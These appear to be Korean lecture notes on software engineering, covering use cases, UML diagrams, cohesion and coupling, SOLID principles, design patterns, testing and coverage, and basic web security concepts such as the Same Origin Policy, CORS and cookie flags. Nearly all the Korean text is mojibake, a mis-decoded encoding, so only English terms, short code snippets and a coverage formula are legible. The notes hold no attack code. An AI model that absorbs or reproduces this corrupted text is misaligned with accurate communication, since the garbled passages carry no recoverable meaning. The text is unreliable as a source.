: ๊ฐ๋ฐ๋ ์์คํ
์ ๊ฒฝ๊ณ ์กํฐ : ์์คํ
๊ณผ ์ํธ์์ฉํ ๋ ์ธ๋ถ ์์ด์ ํธ๊ฐ ์ํํ๋ ์ญํ ์ ์ค์ผ์ด์ค ํญ์ ์กํฐ์ ์ํด ๊ฐ์๋จ ์กํฐ์๊ฒ ๊ฐ์น๋ฅผ ์ ๊ณต ์์ ํ ์ค๋ช
์ด์ด์ผ ํจ ์ ์ค์ผ์ด์ค ๊ฐ์ ๊ด๊ณ ํฌํจ ๊ด๊ณ ๋ค์์ ์ ์ค์ผ์ด์ค๊ฐ ๊ณตํต๋ ํ๋์ ์ํํ๋ ๊ฒฝ์ฐ, ํฌํจ์ํฌ ์ ์๋ค. ํ์ฅ ๊ด๊ณ ํ ์ ์ค์ผ์ด์ค์ ํ์ฅ ์ง์ ์ ์ก์
์ ์ถ๊ฐํ์ฌ ๋ค๋ฅธ ์ ์ค์ผ์ด์ค๋ก ํ์ฅ ์ ์ค์ผ์ด์ค ๊ฒ์ฆ ๊ฒ์ฆ: ๊ตฌํ์ ํ
์คํธ ํ์ธ: ์ฌ์ฉ์์ ์๊ตฌ๋ฅผ ์ถฉ์กฑ์ํค๋๊ฐ? ์ํฌ์ฐ๋ฃจ: ์กํฐ์ ์์คํ
์ ์ญํ ๊ทน ์ ์ค์ผ์ด์ค ์คํ ์ ์ค์ผ์ด์ค๋ collaboration์ผ๋ก ์คํ 6์ฅ ํด๋์ค ๋ชจ๋ธ๋ง UML Unified Modeling Language
๊ฐ์ฒด์งํฅ ์ํํธ์จ์ด๋ฅผ ๋ชจ๋ธ๋งํ๊ธฐ ์ํ ํ์ค ๊ทธ๋ํฝ ์ธ์ด
ํด๋์ค
์ฌ๊ฐํ์ผ๋ก ํํ ์ด๋ฆ, ์์ฑ, ์คํผ๋ ์ด์
ํ์ ์์ฑ
์คํผ๋ ์ด์
getter(), setter() operation signature์ ํํ 1+ digit(n:int) ๊ฐ์์ฑ
public(+), private(-), protected(#) ์ฐ๊ด๊ด๊ณ
๊ด๊ณ์ด๋ฆ: ๋์ฌ, ๋์ฌ๊ตฌ ๋ค์ค์ฑ: ๊ด๊ณ ์ฌ์ด์ ๊ฐ์
ํ๋ ์ธ์คํด์ค ๊ฐ์ 0..1: ์ ํ์ ๊ด๊ณ 1..*: 1๊ฐ ๋๋ ๊ทธ ์ด์ 3..5: 3๊ฐ์์ 5๊ฐ๊น์ง One-to-one Many-to-many One-to-many ์ญํ ์ด๋ฆ: ์ญํ , ๋งํฌ ์ ์์ ํ์ ๋ฐฉํฅ์ฑ : ์ฐ๊ด๊ด๊ณ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์๋ฐฉํฅ์ฑ, ๋จ๋ฐฉํฅ์ผ๋ก ์ ํ ๊ฐ๋ฅ ์ ์ฒด/๋ถ๋ถ ๊ด๊ณ (Aggregation)
์ ์ฒด ๊ฐ์ฒด๊ฐ ๋ถ๋ถ ๊ฐ์ฒด๋ฅผ ํฌํจ ํฐ์ ๋ค์ด์๋ชฌ๋๋ก ํ์ Composition ๊ด๊ณ aggregation์ด ๊ฐํ ๊ด๊ณ ์ ์ฒด๊ฐ ์๋ฉธ๋๋ฉด ๋ถํ๋ ์๋ฉธ๋จ ๊ฒ์ ๋ค์ด์๋ชฌ๋๋ก ํ์ ์ผ๋ฐํ ๊ด๊ณ (Generalization) ์ผ๋ฐํ: ๋ ๊ฐ์ง ์ด์์ ํด๋์ค์ ๊ณตํต ์์๋ฅผ ์ผ๋ฐํ ์์ธํ(specialization): ์ํผํด๋์ค๋ฅผ ์๋ธํด๋์ค๋ก ๊ตฌ์ฒดํ ์ถ์ํด๋์ค (abstract)๋ก ํ์ ์ถ์ ์คํผ๋ ์ด์
: ๊ตฌํ์ด ์๋ ์คํผ๋ ์ด์
์ธํฐํ์ด์ค <<interface>>๋ก ํ์ Notes = ์ฃผ์ OCL (Object Constraint Language) ์ํํธ์จ์ด์ ๋ชจ๋์ ์ ์ฝ์ฌํญ์ ์ ํ์ ์ผ๋ก ๋ํ๋ด๋๋ก ์ค๊ณ๋ ๋ช
์ธ ์์ด 7์ฅ ๋์ ๋ชจ๋ธ๋ง ๋์ ๋ชจ๋ธ๋ง ์์คํ
์ ๊ธฐ๋ฅ์ ๋ง์กฑ์ํค๊ธฐ ์ํด ๊ฐ ๋น๋ฉ ๋ธ๋ก์ด ์ด๋ป๊ฒ ์ํธ์์ฉํ๋์ง๋ฅผ ํํ
ํํ๋ฐฉ๋ฒ : ์ํ์ค ๋ค์ด์ด๊ทธ๋จ, ์ํ ๋ค์ด์ด๊ทธ๋จ, ํ๋ ๋ค์ด์ด๊ทธ๋จ ์ํ์ค ๋ค์ด์ด๊ทธ๋จ ์์คํ
์ ๋์ ์ธ ์ธก๋ฉด์ ๋ชจ๋ธ๋งํ๊ธฐ ์ํด ์ฌ์ฉ
๊ฐ์ฒด, ์กํฐ, ๋ฉ์์ง(์กํฐ -> ๊ฐ์ฒด)๋ก ๊ตฌ์ฑ ์์ง ์ถ์ ์๊ฐ ํ๋ฆ ์กํฐ๋ฅผ ์ผ์ชฝ์ ํ์ ๊ฐ์ฒด๋ง๋ค life line์ ๊ทธ๋ฆผ activation box : ๊ฐ์ฒด์ ํ์ฑํ๋ฅผ ํํ ๋ฉ์์ง๋ activation box ์ฌ์ด์ ํ์ดํ๋ก ํ์ ๊ฐ์ฒด๊ฐ ์๋ฉธ๋ ์ดํ์๋ ๋ผ์ดํ๋ผ์ธ์ด ์ค์ง๋๋ฉฐ ‘X’๋ก ํ์ opt(if), alt(switch), loop(for) ์ํ ๋ค์ด์ด๊ทธ๋จ ์์คํ
์ ์ฒด, ์์คํ
์ ์ผ๋ถ, ๊ฐ๋ณ ๊ฐ์ฒด์ ๋ํ ๋์์ ๊ธฐ์ ํ๊ธฐ ์ํ ๋ชฉ์
์ํ ๋ค์ด์ด๊ทธ๋จ์ด ๋ด๋ถ์ ๋ด์ฅ ๊ฐ๋ฅ ์ด๋, ๋ด๋ถ ๋ค์ด์ด๊ทธ๋จ์ ์ํ๋ฅผ substate(์๋ธ์ํ)๋ผ๊ณ ํจ ์ํ ์ฃผ์ด์ง ์์ ์ ์์คํ
์ ์ด๋ค ์ํ์ ์์
ํํ ์ํ : ๋ฅ๊ทผ ์ฌ๊ฐํ ์์ ์ํ ์ด๋ฆ์ ํ์ํ์ฌ ๋ํ๋ ์์ ์ํ : ๊ฒ์ ์ ์ข
๋ฃ ์ํ : ์ ์์ ์ ํธ๋์ง์
์ด๋ฒคํธ ๋ฐ์์ผ๋ก ์ธํ ์ํ ๋ณํ (์ฆ์ ์ผ์ด๋จ์ด ์์น)
ํธ๋์ง์
์์๋ ์ํ ๋ณํ๋ฅผ ์ผ์ผํค๋ ์ด๋ฒคํธ๋ฅผ ํ์ ํํ : ํ์ดํ๋ก ํ์ ์ข
๋ฅ : ๊ฒฝ๊ณผ ์๊ฐ ํ์ ํธ๋์ง์
, ์กฐ๊ฑด ํ์ ํธ๋์ง์
์กํฐ๋นํฐ ์์คํ
์ด ์ด๋ค ์ํ์ ์์ ๋ ์ํํ๋ ํ์
์ธํฐ๋ฝํธ ๊ฐ๋ฅ ํํ : ์ํ ๋ด๋ถ์ ์ฌ๊ฐํ ๋ฐ์ค๋ก ํ์ ์ก์
์๊ฐ ๊ฒฝ๊ณผ ์์ด ์ฆ์ ์ผ์ด๋ ์ ์๋ ๋์
ํํ : Enter/action, Exit/action, event/action ์กํฐ๋นํฐ ๋ค์ด์ด๊ทธ๋จ ๊ฐ์ฒด๋ ์ปดํฌ๋ํธ๊ฐ ์ํํ๋ ์์
์ ํ๋ฆ์ ์ดํด, ์ ์ค์ผ์ด์ค ์ฌ์ด์ ๊ด๊ณ์ ์ํธ์์ฉ์ ํํํ๊ธฐ ์ํด ์ฌ์ฉ
์ํ ๋ค์ด์ด๊ทธ๋จ๊ณผ ์ ์ฌ
๋ณํ ์กํฐ๋นํฐ๋ฅผ ํํํ ์ ์๋ค
ํํ
activity : ๋ชจ์๋ฆฌ๊ฐ ๋ฅ๊ทผ ์ฌ๊ฐํ transition(๊ฐ๋ ์ปจ๋์
, ์ ์ก-์ , ์ก์
ํํ) : ํ์ดํ decision point : ๋ค์ด์๋ชฌ๋ ๋ณํ ์ฒ๋ฆฌ ํํ Fork ๋จ์ผ ์
๋ ฅ ํธ๋์ง์
๊ณผ ๋ค์ ์ถ๋ ฅ ํธ๋์ง์
Rendezvous ๋ค์ ์
๋ ฅ ํธ๋์ง์
๊ณผ ๋ค์ ์ถ๋ ฅ ํธ๋์ง์
Join ๋ค์ ์
๋ ฅ ํธ๋์ง์
๊ณผ ๋จ์ผ ์ถ๋ ฅ ํธ๋์ง์
Swimlane ๊ฐ์ swimlane์ ์๋ ์กํฐ๋นํฐ๋ค์ ๋์ผํ ํด๋์ค์ ๊ด๋ จ๋ ๊ฒ ๋์ ๋ค์ด์ด๊ทธ๋จ์ ๊ตฌํ ์ํคํ
์ฒ ์ค๊ณ ์ค๊ณ ์๋ฆฌ 2 : ์์ง๋ ฅ์ ๋์ด๊ธฐ ์์ง๋ ฅ ํฅ์ (์์ง๋ ฅ์ด ๋์ ์) ๊ธฐ๋ฅ์ ์์ง๋ : ํน์ ๊ฒฐ๊ณผ๋ฅผ ๊ณ์ฐํ๊ธฐ ์ํ ์ฝ๋๋ง ์กด์ฌ ์ดํดํ๊ธฐ ์ฌ์, ์ฌ์ฌ์ฉ์ฑ ๋์, ๋์ฒด ๊ฐ๋ฅ์ฑ ๋์ -> ์ ์ง๋ณด์์ฑ ๋์ ๊ณ์ธต์ ์์ง๋ : ์ฐ๊ด ๊ธฐ๋ฅ ๊ฐ์ ๊ณ์ธต ์) Application(์), DB system(ํ) ์์ฐจ์ ์์ง๋ : ์ด์ ํ๋ก์์ ์ถ๋ ฅ -> ๋ค์ ํ๋ก์์ ์ ์
๋ ฅ ๊ตํ์ ์์ง๋ : ๋์ผํ ์
๋ ฅ์ ์ฌ์ฉํ๋ ํ๋ก์์ ๋ค์ ์งํฉ ์ ์ฐจ์ ์์ง๋ : ์ฐจ๋ก๋ก ์ํ๋๋ ํ๋ก์์ ๋ฅผ ๋ชจ์ ์๊ฐ์ ์์ง๋ : ๊ฐ์ ์์ ์ ์ํ๋ ์ฐ์ฐ์ ๋ชจ์ ์ค์ฉ์ ์์ง๋ : ๋ค๋ฅธ ์์ง ๋จ์์ ๋ฐฐ์นํ ์ ์๋ ํ๋ก์์ ๋ค์ ์งํฉ ์ค๊ณ ์๋ฆฌ 3 : ๊ฒฐํฉ๋ ฅ์ ๋ฎ์ถ๊ธฐ ๋ด์ฉ ๊ฒฐํฉ : ํ ์ปดํฌ๋ํธ์ ๋ด๋ถ ๋ฐ์ดํฐ๋ฅผ ๋น๋ฐ๋ฆฌ์ ์์ ๋ฐฉ์ง์ฑ
: ์บก์ํ ๊ณตํต ๊ฒฐํฉ : ์ ์ญ ๋ณ์ ์ฌ์ฉ ์ ํญ์ ๋ฐ์ ์ ์ด ๊ฒฐํฉ : ํ๋๊ทธ, ์ปค๋งจ๋ ์ด์ฉ -> ํ ํ๋ก์์ ํธ์ถํ์ฌ ์ ์ด ๋ฐฉ์ง์ฑ
: operation์ ๋คํ์ฑ ์ฌ์ฉ, look-up table ์ฌ์ฉ ์คํฌํ ๊ฒฐํฉ : ํ ํด๋์ค๋ฅผ ๋งค๊ฐ๋ณ์๋ก ์ฌ์ฉ ์๋ฃ ๊ฒฐํฉ : ๋งค๊ฐ๋ณ์๊ฐ ๊ธฐ๋ณธ ์๋ฃํ ๋๋ ๋จ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํด๋์ค ๋ฃจํด ํธ์ถ ์งํฉ : ํ๋์ ๋ฃจํด(๋ฉ์๋)๊ฐ ๋ค๋ฅธ ๋ฃจํด ํธ์ถ ํ์
์ฌ์ฉ ๊ฒฐํฉ : ํ ๋ชจ๋์์ ์ ์ํ ์๋ฃํ ์ฌ์ฉ ํฌํจ ๊ฒฐํฉ : import & include ์ธ๋ถ ๊ฒฐํฉ : ์ด์์ฒด์ , ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ, ํ๋์จ์ด ์์กด ๋ฐฉ์ง์ฑ
: ์์กด์ฑ ์ฝ๋ ์ค์ด๊ธฐ, facade ์ค๊ณ ํจํด ์ฌ์ฉ ์ํคํ
์ฒ ํจํด ๊ณ์ธต๊ตฌ์กฐ ์คํ์ผ : ๊ฐ ์๋ธ์์คํ
์ด ํ๋์ ๊ณ์ธต์ด ๋์ด ํ์์ธต์ด ์ ๊ณตํ๋ ์๋น์ค๋ฅผ ์ฌ์ฉ ํด๋ผ์ด์ธํธ-์๋ฒ ์คํ์ผ ๋ธ๋ก์ปค ์คํ์ผ : ์ฌ๋ฌ ๋
ธ๋์ ์ํํธ์จ์ด ์์คํ
์ ํฌ๋ช
ํ๊ฒ ๋ถ์ฐ ํธ๋์ญ์
์ฒ๋ฆฌ ์คํ์ผ : ์ฐ์์ ์ธ ์
๋ ฅ์ ํ๋์ฉ ์ฝ์ด ํธ๋์ญ์
์ผ๋ก ๋ช
์ ํธ๋์ญ์
: ์์คํ
์ ์ ์ฅ๋ ๋ฐ์ดํฐ์ ๋ณ๊ฒฝ์ ๊ฐํ๋ ๋ช
๋ น๋ค์ ์งํฉ ํ์ดํ ํํฐ ์คํ์ผ : ๋น๊ต์ ๋จ์ํ ํํ์ ๋ฐ์ดํฐ ์คํธ๋ฆผ์ด ํ๋ก์ธ์ค์ ์ฐจ๋ก๋ก ์ ๋ฌ๋์ด ์ฒ๋ฆฌ๋๋ ๊ตฌ์กฐ MVC ์คํ์ผ : Model, View, Controller๋ก ๊ตฌ์ฑ ํด๋์ค ์ค๊ณ ์์น ๋จ์ผ ์ฑ
์์ ์์น (SRP: Single Responsibility Principle) ํด๋์ค๋ ํ๊ฐ์ง ์ข
๋ฅ์ ์ฑ
์๋ง ๊ฐ์ ธ์ผ ํ๋ค ๊ฐ์ฒด๋ ์ฝํ ๊ฒฐํฉ๋ ฅ, ๊ฐํ ์์ง๋ ฅ์ ์คํ ๊ฐ๋ฐฉ-ํ์์ ์์น (OCP: Open-Closed Principle) ํ์ฅ์ ๋ํด์๋ open, ๋ณ๊ฒฝ์ ๋ํด์๋ close ๋ชจ๋์ ์์ฒด๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ณ ๋ ๊ทธ ๋ชจ๋์ ๋๋ฌ์ผ ํ๊ฒฝ์ ๋ฐ๊ฟ ์ ์์ด์ผ ํ๋ค ์ธํฐํ์ด์ค ๋ถ๋ฆฌ์ ์์น (ISP: Interface Segregation Principle) ํด๋ผ์ด์ธํธ๋ ์์ ์ด ์ฌ์ฉํ์ง ์๋ ๋ฉ์๋์ ์์กด ๊ด๊ณ๋ฅผ ๊ฐ์ง ์์์ผ ํ๋ค ๋ฆฌ์ค์ฝํ ๊ต์ฒด์์น (LSP: Liskov Substitution Principle) ์์ ํ์
์ ์ธ์ ๋ ๋ถ๋ชจ ํ์
์ ๋์ฒดํ ์ ์์ด์ผ ํจ ์์กด ๊ด๊ณ ์ญ์ ์ ์์น (DIP: Dependency Inversion Principle) ํด๋ผ์ด์ธํธ๋ ๊ตฌ์ฒด์ ํด๋์ค๊ฐ ์๋ ์ธํฐํ์ด์ค๋ ์ถ์ ํด๋์ค์ ์์กดํด์ผ ํ๋ค 9์ฅ ๋์์ธ ํจํด ์์ฑ ํจํด Factory pattern ๊ฐ์ฒด ์์ฑ์ ์ํด ์ธํฐํ์ด์ค๋ฅผ ์ ์ ์์ ๊ฐ์ฒด ์ค ์ด๋ค ๊ฒ์ด ํ์ํ์ง ์คํ ์๊ฐ๊น์ง ์ ์ ์์๋ ์ฌ์ฉ Abstract Factory pattern ๊ตฌ์ฒด์ ์ธ ํด๋์ค๋ฅผ ๋ช
์ํ์ง ์๊ณ ๊ทธ ๊ฐ์ฒด์ ์ฐ๊ด๋๋ ๊ฐ์ฒด ๊ทธ๋ฃน์ ์์ฑํ๋ ์ธํฐํ์ด์ค ์ ๊ณต Prototype pattern ๊ฐ์ฒด๋ฅผ ์ฌ์ฉํ ๋ ๋ค์ ์์ฑํ์ง ์๊ณ ๋ณต์ฌํด์ ์ฌ์ฉ ํด๋ก ๋ฉ์๋ : ๊ฐ์ฒด๋ฅผ ๋ณต์ฌํ๋ ๋ฉ์๋ ๊ตฌ์กฐ ํจํด Composite pattern ๊ฐ์ฒด์ ํธ๋ฆฌ๋ฅผ ๋ํ๋ด๋๋ฐ ์ฌ์ฉ ๊ธฐ๋ณธ ํด๋์ค์ ์ด๋ฅผ ํฌํจํ๋ ์ปจํ
์ด๋ ํด๋์ค๋ฅผ ์ฌ๊ท์ ์ธ ํํ๋ก ํํ Decorator pattern ๋ฐํ์์ ๊ฐ์ฒด์ ๊ธฐ๋ฅ์ ์ถ๊ฐํ๊ธฐ ์ํด ์ฌ์ฉ ๊ฐ์ฒด ์์ฑ ์์ด ๊ฐ๋ณ ๊ฐ์ฒด์ ๋ฐ์ฝ๋ ์ดํฐ๋ฅผ ์ด์ฉํ์ฌ ๋์์ ์ฒจ๋ถ ๊ฐ๋ฅ Adapter pattern ์ ํ๋ฆฌ์ผ์ด์
์ ๊ธฐ๋ฅ์ ์ธ๋ถ์์ ํ์ํ ํํ๋ก ์์ ํ์ฌ ์ฌ์ฉํ๊ธฐ ์ํด ์ฌ์ฉ ์ํ๋ ์ธํฐํ์ด์ค๋ฅผ ์ถ์ ํด๋์ค๋ก ์ ์ Facade pattern ์์คํ
์ ๊ตฌ์ฑํ๋ ๋ง์ ๊ธฐ๋ฅ์ ๊ฐ๋จํ ์
๊ตฌ ์ญํ ์ ๊ณต ์ฌ์ฉํ๋ ค๋ ํด๋์ค ์ค ํน์ ํด๋์ค๋ฅผ ์ธํฐํ์ด์ค๋ก ์ ์ Proxy pattern ๋ณต์กํ๊ฑฐ๋ ์์ฑ์ด ์ค๋๊ฑธ๋ฆฌ๋ ๊ฐ์ฒด๋ฅผ ์ข ๋ ๊ฐ๋จํ ๊ฐ์ฒด๋ก ํํ ํน์ ๊ฐ์ฒด์ ์ ๊ทผ์ ์กฐ์ ํ๊ธฐ ์ํ์ฌ ๋๋ฆฌ์๋ฅผ ์ธ์ ํ์ ํจํด Observer pattern ์ ๋ณด ์ ๊ณต์์ ์ด์ฉ์ ์ฌ์ด์ ์ฐ๊ด์ ๊ด๋ฆฌํ๋ ํจํด ๋จ์ผ ๊ฐ์ฒด๊ฐ ์ํฅ ๋ฐ๋ ๊ฐ์ฒด ์งํฉ์ ๋ํ์ฌ ๊ฐ์ ์ด๋ฆ์ ๋ฉ์๋๋ฅผ ํธ์ถ Mediator pattern ๊ด๋ จ๋ ๊ฐ์ฒด ์ฌ์ด์ ๋ ํผ๋ฐ์ค๋ฅผ ํผํ๊ณ ์ ํ ๊ฒฝ์ฐ ์ฌ์ฉ ์ฌ๋ฌ ๊ฐ์ฒด๊ฐ ์๋ก ๋ฉ์์ง๋ฅผ ์ฃผ๊ณ ๋ฐ๋ ํ์๋ฅผ ํน์ ๊ฐ์ฒด ์์ ์บก์ํ ์ฑ
์ ์ฒด์ธ pattern ์ฌ์ฉ์๊ฐ ์์
์ ์ด๋ค ๊ฐ์ฒด์๊ฒ ๋งก๊ธธ์ง ๋ชจ๋ฅผ๋ ์ฌ์ฉ ์์
์ ์ํํ๋ ๊ฐ์ฒด๋ฅผ ์ฒด์ธ์ฒ๋ผ ์ฎ์ด ๋์๋ค๊ฐ ์ธ๋ถ์ ์์ฒญ์ด ์์ผ๋ฉด ์ฒด์ธ์ ๋๊น Command pattern ์ฒ๋ฆฌ๋ฅผ ๋ด๋นํ ๊ฐ์ฒด๋ฅผ ์ฒ๋ฆฌ ๋ฐ์ค์ ์์ฒญํ์ฌ ์ฒ๋ฆฌํ๋ ํจํด ์ปค๋งจ๋ ํด๋์ค ์์ ๋ช
๋ น์ ์บก์ํํ์ฌ ๋ฃ์ State pattern ๊ฐ์ฒด์ ์ํ์ ๋ฐ๋ผ ๊ตฌ์ฒด์ ์ธ ํ์๊ฐ ๋ฌ๋ผ์ง๋ ๊ฒฝ์ฐ์ ์ ์ฉ ์ํ๋ฅผ ๊ฐ์ฒด๋ก ๋ง๋ค๊ณ ์ํ ํด๋์ค ์์ ์ ์ ๋ณ์๋ก ์ ์ฅ ์ํํธ์จ์ด ํ
์คํธ Test Driver : ๊ฐ๋จํ ๊ตฌ๋ํ๋๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ Test Stub : ํ
์คํธ ๋์ ์ปดํฌ๋ํธ์ ์ํด ํธ์ถ๋๋ ์ปดํฌ๋ํธ๋ฅผ ์๋ฎฌ๋ ์ด์
ํ๊ฒ IUT (Implementation Under Test) Black Box ํ
์คํธ ๊ธฐ๋ฒ ์ฃผ์ด์ง ๋ช
์ธ๋ก๋ถํฐ ํ
์คํธ ์ผ์ด์ค ์ ๋ ๋๋ฑ ๋ถํ ๋์น ํด๋์ค ๊ฒฐ์ ์
๋ ฅ ๊ฐ ์์ญ ๋๋ ์ถ๋ ฅ ๊ฐ ์์ญ์ ๋
๋ฆฝ์ ์ธ ์งํฉ์ผ๋ก ๋๋ ํ
์คํธ ์ผ์ด์ค ์ ์ ์งํฉ์ ์์ ์ค ๋ํ๊ฐ ํ๋๋ฅผ ์ ํ ๋๋ฑ ๋ถํ ํด๋์ค ์ ํจํ ์
๋ ฅ ๋ฐ์ดํฐ์ ์ ํจํ์ง ์์ ์
๋ ฅ ๋ฐ์ดํฐ๋ฅผ ๊ตฌ๋ถ ์) ์๋ฃํ์ ๋ฌด๊ฒ๋ 0๋ถํฐ 5000 ์ฌ์ด์ ๊ฐ์ ๊ฐ๋ ์ซ์์ด๋ค Black Box ํ
์คํธ ๊ธฐ๋ฒ ๊ฒฝ๊ณ ๊ฐ ๋ถ์ ๋๋ฑ๋ถํ ์ ๊ฒฝ๊ณ๋ถ๋ถ์ ํด๋นํ๋ ๊ฒฝ๊ณ ๊ฐ์ ํ
์คํธ ์ผ์ด์ค๋ก ์ ํํ๋ ๊ธฐ๋ฒ ์ ํจ ๊ฒฝ๊ณ ๊ฐ, ๋น์ ํจ ๊ฒฝ๊ณ ๊ฐ์ ์ ํ ๊ฒฐํจ ๋ฐ๊ฒฌ ์จ์ด ๋๊ณ , ์ ์ฉํ๊ธฐ ์ฝ๋ค White Box ํ
์คํธ ๊ธฐ๋ฒ ์ํํธ์จ์ด๋ ์์คํ
์ ์ฝ๋์ ๊ตฌ์กฐ๋ฅผ ์ค์ฌ์ผ๋ก ํ
์คํธ ์ปดํฌ๋ํธ ๋ ๋ฒจ์ ๊ตฌ์กฐ๋ ๊ตฌ๋ฌธ, ๊ฒฐ์ , ๋ถ๊ธฐ๋ฌธ ๋ฑ ์ฝ๋ ๊ทธ ์์ฒด Coverage : ์์คํ
๋๋ ์ํํธ์จ์ด์ ๊ตฌ์กฐ๊ฐ Test suite์ ์ํด ํ
์คํธ ๋๋ ์ ๋ ๊ตฌ๋ฌธ ํ
์คํ
๊ณผ ์ปค๋ฒ๋ฌ์ง ํ
์คํธ์ผ์ด์ค์ ์ํด ์คํ๋ ๊ตฌ๋ฌธ์ด ๋ช ํผ์ผํธ์ธ์ง ์ธก์ ํ๋ ๊ฒ ์ ์ด ํ๋ฆ ๊ทธ๋ํ ์์ฑ (์์ฐจ ๊ตฌ์กฐ, ์ ํ ๊ตฌ์กฐ, ๋ฐ๋ณต ๊ตฌ์กฐ) $$ coverage = \frac{covered\ stmt}{(total\ stmt - unreachable\ stmt)} $$ ๊ฒฐ์ ํ
์คํ
๊ณผ ์ปค๋ฒ๋ฆฌ์ง ์คํ๋ ๊ฒฐ์ ํฌ์ธํธ์ outcome์ด ๋ช ํผ์ผํธ์ธ์ง ์ธก์ ํ๊ณ ํ๊ฐ “์ฐธ"๊ณผ “๊ฑฐ์ง"์ ๋ชจ๋ ๊ฐ์ ๊ฐ์ง๋ฉด 100% ์ปค๋ฒํ๋ค๊ณ ํ๋ค ์กฐ๊ฑด ํ
์คํ
๊ณผ ์ปค๋ฒ๋ฆฌ์ง ๊ฒฐ์ ํฌ์ธํธ ๋ด์ ์๋ ๊ฐ๊ฐ์ ๊ฐ๋ณ์กฐ๊ฑด์์ด “์ฐธ"๊ณผ “๊ฑฐ์ง"์ ๋ชจ๋ ๊ฐ์ ๊ฐ์ง๋์ง ํ
์คํธ ๊ฐ๋ณ ์กฐ๊ฑด์์ด ์ฐธ ๊ฑฐ์ง์ ๊ฐ์ง๋ค๊ณ ํด์ ์ ์ฒด ์กฐ๊ฑด์์ด ํญ์ ์ฐธ ๊ฑฐ์ง์ ๊ฐ์ง๋ ๊ฒ์ ์๋ ๋ค์ค ์กฐ๊ฑด ์ปค๋ฒ๋ฆฌ์ง ๊ฒฐ์ ํฌ์ธํธ ๋ด์ ์๋ ๋ชจ๋ ๊ฐ๋ณ ์กฐ๊ฑด์์ ๋ชจ๋ ๊ฐ๋ฅํ ๋
ผ๋ฆฌ์ ์ธ ์กฐํฉ์ ๊ณ ๋ คํ์ฌ ํ
์คํธ ์
๋ ฅ ์กฐ๊ฑด์ด 2๊ฐ์ด๋ฉด TF, FT, FF, TT 4๊ฐ์ ํ
์คํธ ์ผ์ด์ค ํ์ ํ
์คํธ ์ข
๋ฅ ๋จ์ ํ
์คํธ (Unit Test) ํ๋ก๊ทธ๋จ์ ๊ธฐ๋ณธ ๋จ์์ธ ๋ชจ๋์ ๋ํ ํ
์คํธ ์ฃผ๋ก ํ์ดํธ ๋ฐ์ค ํ
์คํธ๋ฅผ ์ด์ฉ ํตํฉ ํ
์คํธ (Integration Test) ๋ชจ๋ ํตํฉ ๊ณผ์ ์์ ์ํํ๋ ํ
์คํธ ํตํฉ ๊ณผ์ ์์ ๋ฐ์ํ ์ ์๋ ์ค๋ฅ๋ฅผ ํ์ธ ์์คํ
ํ
์คํธ (System Test) ๊ธฐ๋ฅ ํ
์คํธ, ๋น๊ธฐ๋ฅ ํ
์คํธ ์ธ์ ํ
์คํธ (Acceptance Test) ์๊ตฌ๋๋ก ์ ์๋ํ๋์ง ๊ณ ๊ฐ๊ณผ ํจ๊ป ํ์ธํ๋ ํ
์คํธ ๋ํ ์์คํ
ํ
์คํธ ์ ๋ต ๋น
๋ฑ
ํ
์คํธ : ์ ์ฒด ์์คํ
์ ํ๋์ ๋จ์๋ก ํ
์คํธ ์ ์ง์ ํ
์คํธ : ์์คํ
์ ๋จ๊ณ์ ์ผ๋ก ํ
์คํธ ํํฅ์ ํ
์คํธ ์ํฅ์ ํ
์คํธ ์๋์์น ํ
์คํธ Web Security Model Web ๋ณด์์ ๋ชฉํ Integirty : ๋ฌด๊ฒฐ์ฑ Confidentiality : ๊ธฐ๋ฐ์ฑ HTTP URL https:// www.example.edu :80 /lectures ?lec=80 #slides protocol + hostname + port + path + query + fragment
Cookies ์๋ฒ๊ฐ ์น ๋ธ๋ผ์ฐ์ ์๊ฒ ๋ณด๋ด๋ ์ ๋ณด
์ญํ : ์ธ์
๊ด๋ฆฌ, ์ฌ์ฉ์ ์ค์ ์ ์ฅ, ์ฌ์ฉ์ ์ถ์ ๋ฑ 1// ์ฟ ํค ์ค์ 2Set-Cookie: name=value; 3// ์ฟ ํค ์ ์ก 4Cookie: name=value; Same Origin Policy (SOP) ๊ฐ์ Origin์์๋ง ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํ ์ ์๋๋ก ํ๋ค
Origin scheme://domain:port
Domain Relaxation ์๋ธ ๋๋ฉ์ธ ๊ฐ์ ๋ฆฌ์์ค ๊ณต์
document.domain์ ์์ ํ์ฌ, ์๋ธ ๋๋ฉ์ธ ๊ฐ์ ๋ฆฌ์์ค ๊ณต์ ๊ฐ๋ฅ
์์
1a.domain.com -> domain.com ๊ฐ๋ฅ 2a.domain.com -> b.domain.com ๋ถ๊ฐ๋ฅ 3a.domain.com -> com ๋ถ๊ฐ๋ฅ ์ทจ์ฝ์ : ์
์์ ์ธ ์ฌ์ดํธ๊ฐ document.domain์ ์์ ํ์ฌ ์ ๊ทผ์ ์๋ํ ์ ์์
ํด๊ฒฐ๋ฐฉ๋ฒ : Mozilla Public Suffix List (PSL) ์ฌ์ฉ
BroadcastChannel API ๊ฐ์ origin์ ๋ค๋ฅธ context ๊ฐ์ ํต์
์ฌ์ฉ๋ฒ 1const bc = new BroadcastChannel('channel'); 2bc.postMessage('message'); 3bc.onmessage = (e) => console.log(e.data); XMLHttpRequest (XHR) ์๋ฒ์ ๋น๋๊ธฐ ํต์ ์ ์ํ ๊ฐ์ฒด
CORS (Cross-Origin Resource Sharing) ๋ค๋ฅธ Origin์ ๋ฆฌ์์ค๋ฅผ ์์ฒญํ ๋, ์๋ฒ์์ ํ์ฉํ๋ ์ ์ฑ
Cookie ์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ์๊ฒ ๋ณด๋ด๋ ์ ๋ณด
Cookie Scoping Domain ํด๋น ๋๋ฉ์ธ์ Subdomain ๋๋ Parent Domain์ ๋ํด์๋ง ์ฟ ํค๋ฅผ ์ ์ก
Path ํด๋น ๊ฒฝ๋ก์ ํ์ ๊ฒฝ๋ก๊น์ง ์ฟ ํค๋ฅผ ์ ์ก
Secure Cookies HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํ ๋๋ง ์ฟ ํค๋ฅผ ์ ์ก
1Set-Cookie: name=value; Secure HTTPOnly Cookies JavaScript์์ ์ฟ ํค์ ์ ๊ทผํ ์ ์๋๋ก ํจ
